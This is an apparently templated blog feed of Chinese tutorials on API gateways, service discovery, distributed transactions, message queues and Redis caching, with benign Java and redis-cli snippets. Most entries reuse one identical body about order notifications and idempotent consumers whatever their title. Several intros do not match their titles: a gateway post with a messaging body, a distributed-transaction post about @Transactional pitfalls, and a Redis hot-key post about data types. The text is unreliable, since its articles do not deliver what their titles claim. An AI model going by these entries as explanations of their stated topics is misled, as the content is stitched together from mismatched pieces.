        <content type="html"><![CDATA[<h1 id="教程：网关在微服务里承担什么职责"><a href="#教程：网关在微服务里承担什么职责" class="headerlink" title="教程：网关在微服务里承担什么职责"></a>教程：网关在微服务里承担什么职责</h1><p>API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：服务注册发现的基本流程</title>
      <link href="//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/"/>
      <url>//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：服务注册发现的基本流程"><a href="#教程：服务注册发现的基本流程" class="headerlink" title="教程：服务注册发现的基本流程"></a>教程：服务注册发现的基本流程</h1><p>服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：配置中心解决了什么问题</title>
      <link href="//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/"/>
      <url>//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：配置中心解决了什么问题"><a href="#教程：配置中心解决了什么问题" class="headerlink" title="教程：配置中心解决了什么问题"></a>教程：配置中心解决了什么问题</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：限流熔断降级的区别和落地</title>
      <link href="//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/"/>
      <url>//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：限流熔断降级的区别和落地"><a href="#教程：限流熔断降级的区别和落地" class="headerlink" title="教程：限流熔断降级的区别和落地"></a>教程：限流熔断降级的区别和落地</h1><p>限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>限流：控制入口流量，保护系统不被压垮</p></li><li><p>熔断：快速失败，防止级联故障</p></li><li><p>降级：牺牲非核心功能，保障核心服务</p></li><li><p>常用的限流算法：令牌桶、漏桶、滑动窗口</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：分布式事务为什么难</title>
      <link href="//fen-bu-shi-shi-wu-wei-shi-me-nan/"/>
      <url>//fen-bu-shi-shi-wu-wei-shi-me-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：分布式事务为什么难"><a href="#教程：分布式事务为什么难" class="headerlink" title="教程：分布式事务为什么难"></a>教程：分布式事务为什么难</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：接口幂等性设计从业务开始</title>
      <link href="//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/"/>
      <url>//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：接口幂等性设计从业务开始"><a href="#教程：接口幂等性设计从业务开始" class="headerlink" title="教程：接口幂等性设计从业务开始"></a>教程：接口幂等性设计从业务开始</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：分布式 ID 生成方案怎么选</title>
      <link href="//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/"/>
      <url>//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：分布式-ID-生成方案怎么选"><a href="#教程：分布式-ID-生成方案怎么选" class="headerlink" title="教程：分布式 ID 生成方案怎么选"></a>教程：分布式 ID 生成方案怎么选</h1><p>教程：分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：延迟队列的业务场景和实现思路</title>
      <link href="//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/"/>
      <url>//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：延迟队列的业务场景和实现思路"><a href="#教程：延迟队列的业务场景和实现思路" class="headerlink" title="教程：延迟队列的业务场景和实现思路"></a>教程：延迟队列的业务场景和实现思路</h1><p>延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：消息丢失问题从生产到消费排查</title>
      <link href="//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/"/>
      <url>//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：消息丢失问题从生产到消费排查"><a href="#教程：消息丢失问题从生产到消费排查" class="headerlink" title="教程：消息丢失问题从生产到消费排查"></a>教程：消息丢失问题从生产到消费排查</h1><p>消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：消息重复消费如何保证幂等</title>
      <link href="//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/"/>
      <url>//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：消息重复消费如何保证幂等"><a href="#教程：消息重复消费如何保证幂等" class="headerlink" title="教程：消息重复消费如何保证幂等"></a>教程：消息重复消费如何保证幂等</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：消息队列为什么能削峰填谷</title>
      <link href="//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/"/>
      <url>//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：消息队列为什么能削峰填谷"><a href="#教程：消息队列为什么能削峰填谷" class="headerlink" title="教程：消息队列为什么能削峰填谷"></a>教程：消息队列为什么能削峰填谷</h1><p>消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>消息队列的核心价值：异步处理、解耦、削峰填谷</p></li><li><p>常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别</p></li><li><p>消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认</p></li><li><p>消息重复消费的处理：幂等性设计</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。</p>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Redis 大 key 和热 key 排查</title>
      <link href="//redis-da-key-he-re-key-pai-cha/"/>
      <url>//redis-da-key-he-re-key-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Redis-大-key-和热-key-排查"><a href="#教程：Redis-大-key-和热-key-排查" class="headerlink" title="教程：Redis 大 key 和热 key 排查"></a>教程：Redis 大 key 和热 key 排查</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Redis 持久化 RDB 和 AOF 怎么选</title>
      <link href="//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/"/>
      <url>//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/</url>
      
